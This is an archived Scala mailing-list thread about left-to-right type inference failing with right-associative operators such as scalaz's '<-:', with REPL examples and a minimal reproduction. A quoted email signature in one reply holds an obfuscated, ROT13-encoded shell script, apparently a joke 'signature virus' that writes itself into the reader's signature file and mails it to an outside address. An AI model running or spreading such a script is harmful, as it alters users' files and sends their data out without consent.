This page is no longer maintained — Please continue to the home page at www.scala-lang.org

Type inference and right associative operators

2 replies
Florian Hars 3
Joined: 2011-05-08,
User offline. Last seen 42 years 45 weeks ago.

I think the interaction between left-to-right type inference and syntactic
sugar for right associative operators interact in an unfortunate way, the
naive expectation would be for the following two definitions to be equivalent:

scala> import scalaz.Scalaz._

scala> def f(x: Either[Int,Float]) = (Some(_)) <-: x
:8: error: missing parameter type for expanded function ((x$1) => Some(x$1))
def f(x: Either[Int,Float]) = (Some(_)) <-: x
^

scala> def f(x: Either[Int,Float]) = x.<-:(Some(_))
f: (x: Either[Int,Float])Either[Some[Int],Float]

Or am I doing something wrong in my experiments with scalaz if I constantly
run into "missing parameter type" errors like this?

- Florian.

mepcotterell
Joined: 2011-03-17,
User offline. Last seen 40 weeks 6 days ago.
Re: Type inference and right associative operators

Florian,

That is peculiar. I too would expect the inference direction to
correspond to the associativity direction.

On Sat, Jun 18, 2011 at 8:05 AM, Florian Hars wrote:
> I think the interaction between left-to-right type inference and syntactic
> sugar for right associative operators interact in an unfortunate way, the
> naive expectation would be for the following two definitions to be equivalent:
>
> scala> import scalaz.Scalaz._
>
> scala> def f(x: Either[Int,Float]) =  (Some(_)) <-: x
> :8: error: missing parameter type for expanded function ((x$1) => Some(x$1))
>       def f(x: Either[Int,Float]) =  (Some(_)) <-: x
>                                            ^
>
> scala> def f(x: Either[Int,Float]) =  x.<-:(Some(_))
> f: (x: Either[Int,Float])Either[Some[Int],Float]
>
> Or am I doing something wrong in my experiments with scalaz if I constantly
> run into "missing parameter type" errors like this?
>
> - Florian.
> --
> #!/bin/sh -
> set - `type -p $0` 'tr [a-m][n-z]RUXJAKBOZ [n-z][a-m]EH$W/@OBM' fu XUBZRA.fvt\
> angher echo;while [ "$5" != "" ];do shift;done;$4 "gbhpu $3;fraqznvy sKunef.q\
> r<$3&&frq -a -rc "`$4 "$0"|$1`">$3;rpub 'Jr ner Svt bs Obet.'"|$1|`$4 $2|$1`
>

Jason Zaugg
Joined: 2009-05-18,
User offline. Last seen 38 weeks 5 days ago.
Re: Type inference and right associative operators

On Sat, Jun 18, 2011 at 2:05 PM, Florian Hars wrote:
> I think the interaction between left-to-right type inference and syntactic
> sugar for right associative operators interact in an unfortunate way, the
> naive expectation would be for the following two definitions to be equivalent:

Here's a standalone example:

scala> object O { def <-:(f: Int => Int) = () }
defined module O

scala> O.<-:(x => x)

scala> (x => x) <-: O
:16: error: missing parameter type
(x => x) <-: O
^

The problem seems limited to inference of anonymous function parameter
types, in this example the expected type is used to trigger an
implicit view.

scala> object P { def <-:(f: String) = () }
defined module P

scala> implicit def any2string(a: Any) = a.toString
any2string: (a: Any)java.lang.String

scala> 0 <-: P

-jason

Copyright © 2012 École Polytechnique Fédérale de Lausanne (EPFL), Lausanne, Switzerland